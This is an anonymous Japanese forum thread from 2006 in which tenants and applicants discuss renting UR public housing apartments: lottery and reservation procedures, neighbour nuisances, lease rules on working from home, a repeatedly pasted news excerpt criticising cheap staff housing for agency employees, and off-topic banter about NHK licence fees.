ハズレ券もってないyo


orz

679 :名無し不動さん:2006/09/06(水) 23:53:16 ID:???
豊洲のHP見れなくなってるね。なんで?


680 :名無し不動さん:2006/09/06(水) 23:53:57 ID:???
>>675
1, お前みたいな粘着基地害に突っ込まれないようにするため
2、 ありません
3, 問題ありません

681 :名無し不動さん:2006/09/07(木) 02:47:27 ID:???
>>679
募集終わったから

682 :名無し不動さん:2006/09/07(木) 10:59:25 ID:???
豊洲に住むひと、地震怖くないんかな
神戸級がきたらあの辺やばいんとちゃうの?

683 :名無し不動さん:2006/09/07(木) 13:22:29 ID:???
>>681
募集終わってもHP見れる物件なんてたくさんあるよ。
ところで、豊洲の倍率はもう見れないの?


684 :名無し不動さん:2006/09/07(木) 15:14:20 ID:???
豊洲、申し込みたかったのにうっかりしたよー。

685 :名無し不動さん:2006/09/07(木) 15:55:26 ID:7p9656mT
都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

分かる人がいたら、教えて下さい。


686 :名無し不動さん:2006/09/07(木) 16:38:49 ID:???
窓口訪問って期限ギリギリでもいいんだよね?

もし逝けなかった場合その申し込みは消えるらしいけど、また速攻で予約すれば大丈夫?

687 :名無し不動さん:2006/09/07(木) 17:44:26 ID:??? ?2BP(0)
>>685
1.空き物件が多くなり過ぎた為⇒借り手不足
2.差は無い。
3.特に無し。借り手貸し手の契約に書かれていない為。

688 :名無し不動さん:2006/09/07(木) 17:45:42 ID:???
キチガイに餌与えるなよ!

689 :名無し不動さん:2006/09/07(木) 21:50:47 ID:???
家賃引き落し依頼、
平日の日中しかできねーじゃん

働いてるんだけど


690 :名無し不動さん:2006/09/07(木) 23:02:28 ID:???
>>686
理由によっては同じ部屋は申し込みできない。


691 :名無し不動さん:2006/09/08(金) 03:06:34 ID:???
>>690
じゃあそれはもう諦めなくちゃ逝けないってこと?
つか、ネットで申し込みだと「○○の期限はX日」って出てちょっと焦るけど
次の段階にぽちっと逝けば実際には結構余裕あるんだよね・・・
仮予約→訪問日登録
まで一ヶ月以上余裕があるのがデフォ?

692 :名無し不動さん:2006/09/08(金) 03:53:31 ID:???
>>689
なんでちゃんと働いているのにURに住むの?

693 :名無し不動さん:2006/09/08(金) 06:59:19 ID:???
>>692
民間の礼金に納得いかない。
退去時に敷金をボられない。
更新料が無い。
民間ほどの制約が無い。

入居後に気に入らなければすぐに転居できる。

694 :名無し不動さん:2006/09/08(金) 10:32:29 ID:???
>>689
結婚してる場合はそういうとちゃんと上司が時間休をくれる。
独身だとわからないけど。

紙もらったら銀行か郵便局に行くだけじゃん。
昼休みにしたらいいのに。

695 :名無し不動さん:2006/09/08(金) 10:33:03 ID:???
戸田、どこまでできてる?

696 :名無し不動さん:2006/09/08(金) 18:15:04 ID:???
有休とるのに理由なんか問わないよ。

697 :名無し不動さん:2006/09/08(金) 21:04:23 ID:g3YZDGCm
建て替えられた物件に入居しているのですが、この団地はテラスハウスが
多く在ったそうです。今も一部に残るテラスハウスは、住民の方が植木を
育てたりして緑も多く、それはそれでいい雰囲気だと思います。

が、その生活を14階建てになった建物で続けようとするのはやめてほしい。
共用廊下を植木で占拠するのはもはや当然。玄関が開いたと思ったら
飛び出てくる大型犬。エレベーター前で座り込む猫。ベランダ境は物置き
などで塞がれ、非常時の避難は不能となっている。

ここまでは我慢してきた。何か言っても「うちは40年ここに住んでいるんだ」
といってこちらが悪者扱いされるのだから。(昭和34年入居開始の団地です)

今日はとうとう我慢ならないものを見つけてしまった。
ここはベランダの外側に梁があり(逆梁構造)、植木鉢を置くには確かに
ちょうどいい感じになっている。(植木を置くようにはなっていない)

しかし、ここにおいたら当然落下の危険がある。ベランダの柵の外側に
物を置いているのだから、落下を防ぐ術が何もないのだ。

そこに植木鉢を並べる基地外がとうとう出てしまった。
管理事務所に言っても何もしてくれないと聞くが、さすがにこういうことは
注意してくれるのだろうか?





698 :名無し不動さん:2006/09/08(金) 21:18:45 ID:???
多摩平か

699 :名無し不動さん:2006/09/08(金) 21:35:27 ID:???
家賃引き落とし依頼のために
有給とるのかよ

700 :名無し不動さん:2006/09/08(金) 22:01:54 ID:???
どうせ引越しするときは転入転出の届出のために平日休むんだろ
その時についでに申し込みもすればいいじゃん

701 ::名無し不動さん:2006/09/08(金) 23:07:19 ID:LONiYZyx
都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

分かる人がいたら、教えて下さい。


702 :名無し不動さん:2006/09/08(金) 23:34:07 ID:???
引っ越してきたときの挨拶ってどうしてます?
両隣ぐらいでいいのか、同じ階の人にはみんなに挨拶したほうがいいのか?
公団流儀みたいのあるのでしょうか?


703 :名無し不動さん:2006/09/08(金) 23:51:44 ID:???
公団特有ってのは無いんじゃねえかな
普通に両隣りと上下あたりでいいと思うが、エレベータホールで会ったりを気にするなら
同じ階全部に挨拶しとけば?数にもよるけど

704 ::名無し不動さん:2006/09/09(土) 00:22:31 ID:Uz0HIxCj
ありました、高台の上に。これですね
川崎市の百合丘第二職員宿舎は、築2年で駅からは徒歩1分。
それでいて家賃は、3LDKの73平方メートルで4万円前後だ。
職員宿舎の住民は、当然の福利厚生として受け止めているという。
<都市機構職員宿舎の住人>
「会社員の“その会社の特典”かなって思います」
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。
職員宿舎がどうしても要ると言うのなら、これらの空室に入居すればいいのでは、という疑問も出てくる。
国会で公益法人の問題を追及している民主党の尾立源幸議員も、視察で疑問を投げかけた。
<民主党・尾立源幸議員>
「ちょっとお聞きしたいのは、公団に空き状況がある中で、そこ(空室)に皆さんが入るという選択肢はないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「もともと宿舎の趣旨は福利厚生の面もございますが、九州とか東京から人事異動がありますと、
その時に急きょ入れないといけないんです」
<民主党・尾立源幸議員>
「ここに民間の方に入っていただいて、職員の方に古い所に移っていただくという考えはないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「そういう考え方、今、急に聞かれましてもですね、お答えすることできませんけど…」
さらに、格安の家賃や駐車場代の根拠について聞くと…。
<都市機構西日本支社・岡田博副支社長(当時)>
「料金の決め方は、『国家公務員宿舎法』に沿って決めています。駐車場料金も同様に、
『国家公務員宿舎法』に基づいて決めています」
と、あたかも法律で決められているかのような説明だが、都市再生機構法を見ると、
“国家公務員宿舎法は適用しない”と明確に書かれている。
つまり、法的根拠は何もないのだ。


705 :名無し不動さん:2006/09/09(土) 00:42:04 ID:???
引越しした時、隣の部屋の人と顔合わせたので
挨拶したらスルーされたお。

706 :名無し不動さん:2006/09/09(土) 01:51:37 ID:vRz/zW12
>>702
時々、営業廻りで公団の団地へ赴くが、
EV内・廊下なんかで営業相手ではない住人からも挨拶されることがあるよ。
だから>>703のようなスタンスで問題ないんじゃない?
>>704のようなのもいるけど・・・。
無視されても繰り返せば、そのうち会釈はするようになると思うよ。普通はね。

707 :名無し不動さん:2006/09/09(土) 02:11:24 ID:Rp6IKyvb
URは税金を大量に投入しながら、巨額の赤字を抱えています。
民営化、または解体しか打つ手はありません。
いまでも、賃貸部門の違法、不当な高家賃を職員の高給につぎ込んでる
状態です。

708 :名無し不動さん:2006/09/09(土) 02:20:59 ID:4WL0TCTs
URは、同じ棟なのに人によって家賃が違うんだね。
政党関係者は有利なの?

709 :名無し不動さん:2006/09/09(土) 02:43:45 ID:???
同じ棟でも入居時期とか間取りとか階数とかリニューアルのレベルで違うんじゃないの

710 :名無し不動さん:2006/09/09(土) 02:44:29 ID:???
>>697
>共用廊下を植木で占拠

これは言い逃れの余地がある

711 :名無し不動さん:2006/09/09(土) 02:47:06 ID:???
>>697
>玄関が開いたと思ったら
>飛び出てくる大型犬

これは言い逃れ不能

>エレベーター前で座り込む猫

野良猫だろう。保健所に電話。

>ベランダ境は物置き
>などで塞がれ

言い逃れ不能。

712 :名無し不動さん:2006/09/09(土) 02:51:20 ID:???
>>697
>ベランダの柵の外側に
>物を置いている

ベランダは共用部でも専用使用できるけど柵の外側の空間は不可。

713 :名無し不動さん:2006/09/09(土) 03:01:57 ID:???
最初が肝心なんだよ。
放置するとみんなが置き始めるし置かれるものもエスカレートしていく。
そうなると注意する方も面倒になる。

ブロークン・ウインドー理論と同じで牛乳受けや生協の箱みたいな
小さい段階から叩いておくことが必要。そうすればイヌを飼う奴も出ない。

714 :名無し不動さん:2006/09/09(土) 03:23:20 ID:???
>>710
どんな言い逃れ?

715 :名無し不動さん:2006/09/09(土) 05:56:34 ID:???
>>691
用事が出来てどうしても訪問日迄に行けなくなったと書けば(訪問の取り消しをネットからすると取り消しの理由を書きます)多分大丈夫。
仮にダメでも同じ団地の他の部屋は取れます。


716 :名無し不動さん:2006/09/09(土) 12:31:23 ID:???
>>706
そうそう、ほかの人がしないからといって自分もしないと、そこに染まっちゃう。

717 :名無し不動さん:2006/09/09(土) 19:42:59 ID:???
昭和40年代築の団地に住んでるんですが、コンクリートとはいえ、耐用年数は
どれくらいなんでしょうね?
30年代はほとんど立て替えてるみたいですけど、リフォームしてるってことは
当分立て替えはないってことなんでしょうね。

718 :名無し不動さん:2006/09/09(土) 19:55:05 ID:???
部屋出るときの査定って平日昼間のみっておい


719 :名無し不動さん:2006/09/09(土) 20:54:30 ID:r21qsqDU
>>717
公団は古い方が、造りが良いという結論が前スレで出たと思う。
昭和40年代なら問題ないよ。

720 :名無し不動さん:2006/09/09(土) 20:58:49 ID:???
>>719
そうですか。都内ですが駅から近く、住み心地はすごく気に入っています。
家賃も安く本当にいいところが見つかってよかったと思っています。

721 :名無し不動さん:2006/09/09(土) 21:19:00 ID:N8oTeVC/
ありました、高台の上に。これですね
川崎市の百合丘第二職員宿舎は、築2年で駅からは徒歩1分。
それでいて家賃は、3LDKの73平方メートルで4万円前後だ。
職員宿舎の住民は、当然の福利厚生として受け止めているという。
<都市機構職員宿舎の住人>
「会社員の“その会社の特典”かなって思います」
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。
職員宿舎がどうしても要ると言うのなら、これらの空室に入居すればいいのでは、という疑問も出てくる。
国会で公益法人の問題を追及している民主党の尾立源幸議員も、視察で疑問を投げかけた。
<民主党・尾立源幸議員>
「ちょっとお聞きしたいのは、公団に空き状況がある中で、そこ(空室)に皆さんが入るという選択肢はないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「もともと宿舎の趣旨は福利厚生の面もございますが、九州とか東京から人事異動がありますと、
その時に急きょ入れないといけないんです」
<民主党・尾立源幸議員>
「ここに民間の方に入っていただいて、職員の方に古い所に移っていただくという考えはないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「そういう考え方、今、急に聞かれましてもですね、お答えすることできませんけど…」
さらに、格安の家賃や駐車場代の根拠について聞くと…。
<都市機構西日本支社・岡田博副支社長(当時)>
「料金の決め方は、『国家公務員宿舎法』に沿って決めています。駐車場料金も同様に、
『国家公務員宿舎法』に基づいて決めています」
と、あたかも法律で決められているかのような説明だが、都市再生機構法を見ると、
“国家公務員宿舎法は適用しない”と明確に書かれている。
つまり、法的根拠は何もないのだ。


722 :名無し不動さん:2006/09/09(土) 21:41:32 ID:???
無茶苦茶な話だよな。
管理系は客商売だと思ってないらしい。

>718 :名無し不動さん :2006/09/09(土) 19:55:05 ID:???
>部屋出るときの査定って平日昼間のみっておい


723 :名無し不動さん:2006/09/09(土) 21:48:30 ID:???
営業系でも新宿あたりだと規模が大きいから公務員的になる。
午後6時が近づくとチームワークが活発になって
午後6時になるときっちり門を閉ざす。

724 :名無し不動さん:2006/09/09(土) 22:57:59 ID:???
作りが汚いわりに退去時の査定はきっちりやるようだね。人にもよるけど。
これだから入居時の点検確認はきっちりやらないとだめ。

725 :名無し不動さん:2006/09/09(土) 23:20:56 ID:???
東曇キャナルコートって、離れに防音のアネックスルームとかあったりして、なんか複雑だけど、
どういう意図であぁいうの作ったの?
ミュージシャン向けかなんか?


726 :名無し不動さん:2006/09/10(日) 00:06:47 ID:???
>>725
元々、音楽教室を開けるようにという意図で設計されたと
思う。

ただ、公団(今のUR)のフツーの住宅は部屋で仕事を
してはいけないことになっているので、本来の目的では
使えなくなっている。

727 :名無し不動さん:2006/09/10(日) 00:54:06 ID:???
>>726
ネットの特別措置の項目に「事業者可」ってある物件は社宅にしていいけどオフィスはダメってこと?
でも電話帳とかで事務所になってるとこがあったりするんだよなあ

728 :名無し不動さん:2006/09/10(日) 02:08:32 ID:???
>>727
SOHO住宅というのがあって、そこは法人(個人でも良い)のオフィスとして使用可能。
在宅ワーク型は、法人以外の個人事業のオフィスとして使用可能。
でも、商品の販売と、教室のように不特定多数が出入りする業種は不可と
なっている。

もっとも、CODANの場合、店と教室以外は一般住宅でもあまりうるさく規制して
いないのが現状かな。
最初は全部の部屋を、そこで仕事ができるような住宅にするつもりだったらしいが、
当時の公団の内部で意見の統一ができずに、中途半端な形になったということ
らしい。

729 :名無し不動さん:2006/09/10(日) 10:18:20 ID:???
>>728
なるほどね
一般住宅では在宅ワークも不可ってことなのか
不特定多数の出入りとかだと迷惑になることもあるだろうけど
物書きとか1人でやる仕事もダメなのか
残業を家に持ち帰って作業するのも厳密にはダメってことになるのかね
アホくせえ制約だなあ

それともCODANとか以外の普通の一般住宅でも許可を貰えばOKだったりするのかな

730 :名無し不動さん:2006/09/10(日) 10:27:59 ID:???
>>729
ハプニングバーまで黙認しといて商売不可もくそもない罠w

731 :名無し不動さん:2006/09/10(日) 13:03:07 ID:???
>「うちは40年ここに住んでいるんだ」
こういうこと言う人って恥ずかしくないのかね。
普通の人は40年の間に一戸建てなりマンションなり買うのでは?

団地ってどこ行っても開き直った方が多いみたいですね。
本当タチ悪いわ。
古くから入居している人は家賃も安いらしいから、不公平にならないよう
ちゃんと値上げしてください。

732 :名無し不動さん :2006/09/10(日) 13:16:46 ID:4odeSTqY
>>731
都市再生機構の職員ってどこ行っても開き直った方が多いみたいですね。
本当タチ悪いわ。
古くから勤めてる人は給与も高いらしいから、不公平にならないよう
ちゃんと賃下げしてください。

都市再生機構って、税金と賃料収入で成り立っているんだろう。職員の給与とか
ちゃんと公表しろよ。

733 :名無し不動さん:2006/09/10(日) 13:35:59 ID:???
>>732
ある程度、年齢いった職員なんか客を客だと思ってないよ。
あまりにも態度が悪いからたしなめたら逆切れしたのがいたくらいだから。

734 :名無し不動さん:2006/09/10(日) 14:17:13 ID:???
>>729
>一般住宅では在宅ワークも不可ってことなのか

契約書には書いていないということに注目してください。
居住用に使っていれば中で何をしようと問題ありません。
ただ、契約書に書いてある通り犬を保管したり大きな音をたてたりといった
共同生活の秩序を乱すようなことをしなければいいのです。

735 :名無し不動さん:2006/09/10(日) 14:54:28 ID:???
住宅の全部を居住の用途以外に使うというのはそこに住まないで倉庫用に
使ったりすることなんだろうけど住宅の一部を居住の用途以外に使うという
のがわからない。

736 :名無し不動さん:2006/09/10(日) 16:20:44 ID:???
>>729
一般住宅で「許可をもらう」ってのは難しいでしょうね。
お墨付きを与えた事になっちゃうので、いろいろとややこしい
話になるらしいので。
あまり目立つ事をやっていなければ注意をされないケースは
多いような気がする。

737 :名無し不動さん:2006/09/10(日) 18:23:33 ID:???
ありました、高台の上に。これですね
川崎市の百合丘第二職員宿舎は、築2年で駅からは徒歩1分。
それでいて家賃は、3LDKの73平方メートルで4万円前後だ。
職員宿舎の住民は、当然の福利厚生として受け止めているという。
<都市機構職員宿舎の住人>
「会社員の“その会社の特典”かなって思います」
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。
職員宿舎がどうしても要ると言うのなら、これらの空室に入居すればいいのでは、という疑問も出てくる。
国会で公益法人の問題を追及している民主党の尾立源幸議員も、視察で疑問を投げかけた。
<民主党・尾立源幸議員>
「ちょっとお聞きしたいのは、公団に空き状況がある中で、そこ(空室)に皆さんが入るという選択肢はないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「もともと宿舎の趣旨は福利厚生の面もございますが、九州とか東京から人事異動がありますと、
その時に急きょ入れないといけないんです」
<民主党・尾立源幸議員>
「ここに民間の方に入っていただいて、職員の方に古い所に移っていただくという考えはないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「そういう考え方、今、急に聞かれましてもですね、お答えすることできませんけど…」
さらに、格安の家賃や駐車場代の根拠について聞くと…。
<都市機構西日本支社・岡田博副支社長(当時)>
「料金の決め方は、『国家公務員宿舎法』に沿って決めています。駐車場料金も同様に、
『国家公務員宿舎法』に基づいて決めています」
と、あたかも法律で決められているかのような説明だが、都市再生機構法を見ると、
“国家公務員宿舎法は適用しない”と明確に書かれている。
つまり、法的根拠は何もないのだ。



738 :名無し不動さん:2006/09/10(日) 19:04:55 ID:???
>>737
妹を見ていたらまで呼んだ。

739 :名無し不動さん:2006/09/10(日) 19:22:08 ID:YSR3e4Q5
>>最初は全部の部屋を、そこで仕事ができるような住宅にするつもりだったらしいが、
>>当時の公団の内部で意見の統一ができずに、中途半端な形になったということ
>>らしい。

で、うちの部屋みたく、玄関あけたらリビング全開な訳か。

740 :名無し不動さん:2006/09/10(日) 19:23:09 ID:???
訪問日の変更って何回やっても無問題?

741 :名無し不動さん:2006/09/10(日) 19:41:17 ID:???
>>740
期限内ならいんじゃない?
時間を約束するもんじゃなくて、単なる目安らしいから。

742 :名無し不動さん:2006/09/10(日) 20:20:06 ID:???
>>740-741
誰がどこを訪問する日のことですか?

743 :名無し不動さん:2006/09/10(日) 20:23:09 ID:???
>>736
というより「居住」の定義自体があいまいだから「居住の用途以外」で住宅を
用いることについての許可の与えようがないんでしょう。
少なくともペットの飼育と違って契約書で仕事の禁止が明記されているわけ
ではないから目立つ事をやっていたとしても問題ないはずです。

744 :名無し不動さん:2006/09/10(日) 20:24:49 ID:???
>>742
仮予約した人が申込手続きのためにURの営業センターを訪問する日

745 :名無し不動さん:2006/09/10(日) 20:29:06 ID:???
仕事関係での会食はOK?
合宿は?

746 :名無し不動さん:2006/09/10(日) 20:32:20 ID:???
>>742
管理主任が査定のために退去届けが出た部屋を訪問する日

747 :名無し不動さん:2006/09/10(日) 20:46:05 ID:???
管理主任を部屋に入れることは居住に含まれるのか?


748 :名無し不動さん:2006/09/10(日) 21:35:28 ID:???
法律事務所は?
http://phonebook.yahoo.co.jp/list?a3=13102008&g3=6843000

749 :名無し不動さん:2006/09/10(日) 23:09:21 ID:???
>>743
結局のところ、他の住人から苦情が出なければいいっぽいね

750 :名無し不動さん:2006/09/11(月) 12:20:16 ID:JeShDwPb
最近入居したところは
管理事務所がなくてかわりに住民が管理人をまかせられているのだが
入居する人数とか勤務地とか子どもの予定とか出身地とか根掘り葉掘り聞かれた。

751 :名無しさん@3周年:2006/09/11(月) 12:31:32 ID:jf57VxiS
社保庁職員が年金情報16人分無断持ち出し、書類送検
 東京都内のマンションで共産党の機関紙などを配り、1審で有罪判決を受けた社会保険庁
の男性職員(52)が、年金加入者16人分の個人情報を記載した印刷物を無断で職場から
持ち出していたとして、警視庁公安部が、窃盗容疑で書類送検していたことが6日わかった。
 男性職員の自宅からは、印刷物と同一の個人情報が書き込まれた共産党の政治活動用カード
数枚が押収されていた。公安部は男性職員が個人情報を流用しようとした可能性もあると見ている。
 調べによると、男性職員は、府中社会保険事務所(東京都府中市)に勤めていた2000年
ごろと目黒社会保険事務所(目黒区)勤務の03年ごろ、数回にわたり、職場の端末機器を操作し、
年金加入者16人分の基礎年金番号や氏名、住所、生年月日などを計18枚の用紙に印刷、都内の
自宅に持ち帰った疑い。印刷はいずれも勤務時間中に行われていた。
 公安部によると、印刷物は共産党が支持拡大のために使用する「対話・支持カード」と一緒に
社会保険庁の封筒に入れられ、うち数枚のカードに、これらの印刷物の記載内容と全く同じ氏名
や住所、基礎年金番号が書き込まれていた。このカードは、同党の党員などが有権者と面接した際、
党の政策についての反応などを書き込むものだった。


752 :名無し不動さん:2006/09/11(月) 14:30:01 ID:???
750は都営とかか?

753 :名無し不動さん:2006/09/11(月) 15:11:24 ID:???
>>741
サンクス
あと登録した訪問日に逝けなかったり書類に不備があったりした場合でも、
仮申し込みの期限内ならとりあえず無問題?

754 :名無し不動さん:2006/09/11(月) 16:50:14 ID:arhl7dai
CSアンテナつけるときっていちいち申告しないといけないんだよね?
ところでみなさんNHK受信料払ってます?

755 :名無し不動さん:2006/09/11(月) 17:22:22 ID:???
>>752
小さな古い物件なんかは住民が委託を受けて管理事務やってるよ

756 :名無し不動さん:2006/09/11(月) 18:46:10 ID:CVBRkpdA
>>754
申告?
周りの住民がパラボラ出しまくっているから申告なんてしなかったよw
つーか模様替えにならないから大丈夫なんじゃないかな?って、ちょっとURのサイト見てみようっと。

NHKは・・・
契約していないもん。払うわけないw

757 :名無し不動さん:2006/09/11(月) 18:51:12 ID:???
一度URは解体したほうがいいんじゃねえ?

758 :名無し不動さん:2006/09/11(月) 18:53:39 ID:???
>>754,756
NHKの受信料はスレ違いなのでよそでやってくれんか。
それにしても

> NHKは・・・
> 契約していないもん。払うわけないw

なんていい年の大人が嬉しがって書くことでもないだろう。やるならこそっとやれ。

759 :名無し不動さん:2006/09/11(月) 19:30:42 ID:???
NHKなんて声を大にして「払うわけない」がデフォじゃねーの?
なんであんな不祥事だらけで怠慢な会社に金を払わなきゃいけないの?
俺はいい年した大人かもしれないが、NHKなんぞ無くても


全   く   問   題   な   い


昔とは違うんだっつーの。

760 :名無し不動さん:2006/09/11(月) 20:18:03 ID:???
>>757
解体したほうがいいだろうな。
日教組みたいに、政治活動を仕事だと思ってる馬鹿どもがいるから。

761 :名無し不動さん:2006/09/12(火) 06:12:15 ID:???
UR解体よりもNHK解体に賛成。つーか、解体に向けて積極的に活動中だw

近々UR賃貸に移るんだが、NHKとは契約する気一切無い。
テレビはあるが、放送を受信する目的で持ってるわけじゃない。
CS用のモニタとして使ってるだけ。文句があったらNHKは
透視のできる超能力者でも雇えw

久々の徴収員との対面が楽しみw

762 :名無し不動さん:2006/09/12(火) 07:59:54 ID:???
NHK受信契約を請け負っている引越業者があるけど
テレビの有無をNHKに教えているのか?
NHKのパンフを渡す時なぜか手が震えてる。

763 :名無し不動さん:2006/09/12(火) 08:12:55 ID:???
NHKに教えようが教えまいが関係無い。
契約しないもん

764 :名無し不動さん:2006/09/12(火) 08:26:10 ID:???
>>763
だから、NHKの話はスレ違い。
どっか他のところでやってくれ。

765 :名無し不動さん:2006/09/12(火) 09:17:44 ID:W+OM9tUZ
NHKの話だけどURに関係あるんならいいのかな?
ちょっと前の書き込みで、URの管理事務所?がNHKとくんで?かわりに契約してるとかって書いてあったけどどうなの?
うちは最初から何も言われてないけど。

766 :名無し不動さん:2006/09/12(火) 09:35:09 ID:???
>>765
嘘じゃね?
TVなかったらどうするんだって。

767 :名無し不動さん:2006/09/12(火) 10:30:57 ID:???
すみません。ひとつ教えてください。

「抽選方法」の説明を読んでも、具体的にどんな感じなのか分かりません。

たとえば、新築の抽選に応募する場合、ルームタイプを自分で指定して申し込むんでしょうか?
希望のルームタイプが1戸しかなければ、その抽選で落選してしまった時点で敗者復活はないんでしょうか?

768 :名無し不動さん:2006/09/12(火) 11:42:30 ID:???
モーホーでも入居できますか?

769 :名無し不動さん:2006/09/12(火) 11:52:14 ID:???
>>768
無問題。

770 :名無し不動さん:2006/09/12(火) 16:04:43 ID:???
新築のときに、契約会場にNHK来てたな
みんなスルーしてたけど

うちはテレビないから関係ないけどね

771 :名無し不動さん:2006/09/12(火) 17:47:33 ID:???
テレビがあってもアンテナをつないでいなければ契約義務なし

772 :名無し不動さん:2006/09/12(火) 17:51:49 ID:???
集合アンテナがあってもテレビにつないでいなければ契約義務なし

773 :名無し不動さん:2006/09/12(火) 18:01:45 ID:???
受信設備の設置の有無も聞かずに契約を迫る営業がいるな。詐欺で逮捕だ。

774 :名無し不動さん:2006/09/12(火) 21:41:43 ID:???
昭和40年代築に引っ越して2ヶ月たちました。
年寄りばかりなので静かかと思ったのですが、
上の階の人は孫がいるのか、ドン!とはねたり、バタバタ走ったり、
何かカツカツと床を突く音が一日中します。
話し声が聞こえるレベルではないので、我慢の範囲なんですかねえ…
過去レスみると、URに苦情を言っても取り合ってもらえなさそうですし

775 :名無し不動さん:2006/09/12(火) 21:44:14 ID:???
アポ無しでインターホン押しても絶対にでないので
契約しないと思う。

776 :名無し不動さん:2006/09/12(火) 21:44:55 ID:???
実際問題、「受信設備を設置した方」なんて言い方はほとんどしないだろう。
言ったとしても「テレビをお持ちの方」とかせいぜい「テレビを設置した方」くらいしか言わない。
わかりやすく言ったつもりがかえって詐欺罪、
契約しなかった場合は詐欺未遂罪になる。
住宅管理協会もへたにNHKの片棒を担ぐと共犯で逮捕。

777 :名無し不動さん:2006/09/12(火) 23:00:21 ID:???
>767
東雲のときはルームタイプ毎だったが、三鷹台は戸毎だった。なので倍率が見事に偏って。。結果1倍でゲット。最終日に倍率確認して申し込むが吉ですよ。電話でも親切に教えてくれる

778 :名無し不動さん:2006/09/12(火) 23:45:01 ID:???
>>774
だーかーらー、古い団地はやめとけとさんざん・・・
ずぶとい人しか住めないよ。

779 :名無し不動さん:2006/09/13(水) 00:22:05 ID:E8RZhvnw
>>774
まあ、運が悪かったね。
一応、クレームを行ってみたら。
昭和40年代の物件は、立地を含めて結構贅沢だから、あきらめるのはもったいないよ。



780 :名無し不動さん:2006/09/13(水) 00:26:42 ID:nE8O4yp/
婚約者と一緒に住む場合は証明がいるんでしょうか?

781 :名無し不動さん:2006/09/13(水) 01:03:23 ID:???
ペットと住む場合もなんにもしなくていいよ。


引っ越したい団地に空きが出たのにテレビとネットがJ-COMだからキャンセルした(/_;)

782 :名無しさん@3周年:2006/09/13(水) 01:18:21 ID:XjAxQeWD
ありました、高台の上に。これですね
川崎市の百合丘第二職員宿舎は、築2年で駅からは徒歩1分。
それでいて家賃は、3LDKの73平方メートルで4万円前後だ。
職員宿舎の住民は、当然の福利厚生として受け止めているという。
<都市機構職員宿舎の住人>
「会社員の“その会社の特典”かなって思います」
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。
職員宿舎がどうしても要ると言うのなら、これらの空室に入居すればいいのでは、という疑問も出てくる。
国会で公益法人の問題を追及している民主党の尾立源幸議員も、視察で疑問を投げかけた。
<民主党・尾立源幸議員>
「ちょっとお聞きしたいのは、公団に空き状況がある中で、そこ(空室)に皆さんが入るという選択肢はないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「もともと宿舎の趣旨は福利厚生の面もございますが、九州とか東京から人事異動がありますと、
その時に急きょ入れないといけないんです」
<民主党・尾立源幸議員>
「ここに民間の方に入っていただいて、職員の方に古い所に移っていただくという考えはないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「そういう考え方、今、急に聞かれましてもですね、お答えすることできませんけど…」
さらに、格安の家賃や駐車場代の根拠について聞くと…。
<都市機構西日本支社・岡田博副支社長(当時)>
「料金の決め方は、『国家公務員宿舎法』に沿って決めています。駐車場料金も同様に、
『国家公務員宿舎法』に基づいて決めています」
と、あたかも法律で決められているかのような説明だが、都市再生機構法を見ると、
“国家公務員宿舎法は適用しない”と明確に書かれている。
つまり、法的根拠は何もないのだ。


783 :名無し不動さん:2006/09/13(水) 01:33:55 ID:???
なるほど。職員がおいしいところをしゃぶり尽くして、残りカスを一般に貸してるわけね。

784 :名無し不動さん:2006/09/13(水) 07:12:29 ID:???
ゴミ収集日になるとエレベーターカゴの中が生ゴミ臭い…

おめーらゴミ袋の口くらいしっかり結べ。
収集してくれてる職員にも悪いと思わんのか。

785 :名無し不動さん:2006/09/13(水) 09:33:44 ID:???
今ネットから物件予約しようとしたら瞬殺された
凄いよ、、この時間待ちかまえてる人・・

786 :名無し不動さん:2006/09/13(水) 10:37:36 ID:???
>>785
ハァ?
人気物件は毎日更新時間ごとに瞬殺ですが、なにか?

787 :名無し不動さん:2006/09/13(水) 11:07:19 ID:???
>>785
何を今更ww

788 :名無し不動さん:2006/09/13(水) 11:18:04 ID:???
過去ログに書いてあるが、営業センターに行った方が早く予約できるよ。

789 :名無し不動さん:2006/09/13(水) 11:34:46 ID:RucOU42o
ベランダに衛星アンテナつけてる状態でNHK集金がきて
テレビあるんじゃないですかって言われたらどうする?

790 :名無し不動さん:2006/09/13(水) 12:13:03 ID:cUPosTF7
故障中ですって言え。

791 :名無し不動さん:2006/09/13(水) 13:11:42 ID:sGnnUhee
オレ昔ホントにテレビ壊れてうつらなかったのにテレビあるだけで払う義務が生じますとか言われた

792 :名無し不動さん:2006/09/13(水) 13:21:55 ID:???
俺はアンテナ出しているけどNHK払ってないや。
集金に来ても時間ある時は普通に玄関開けるし。

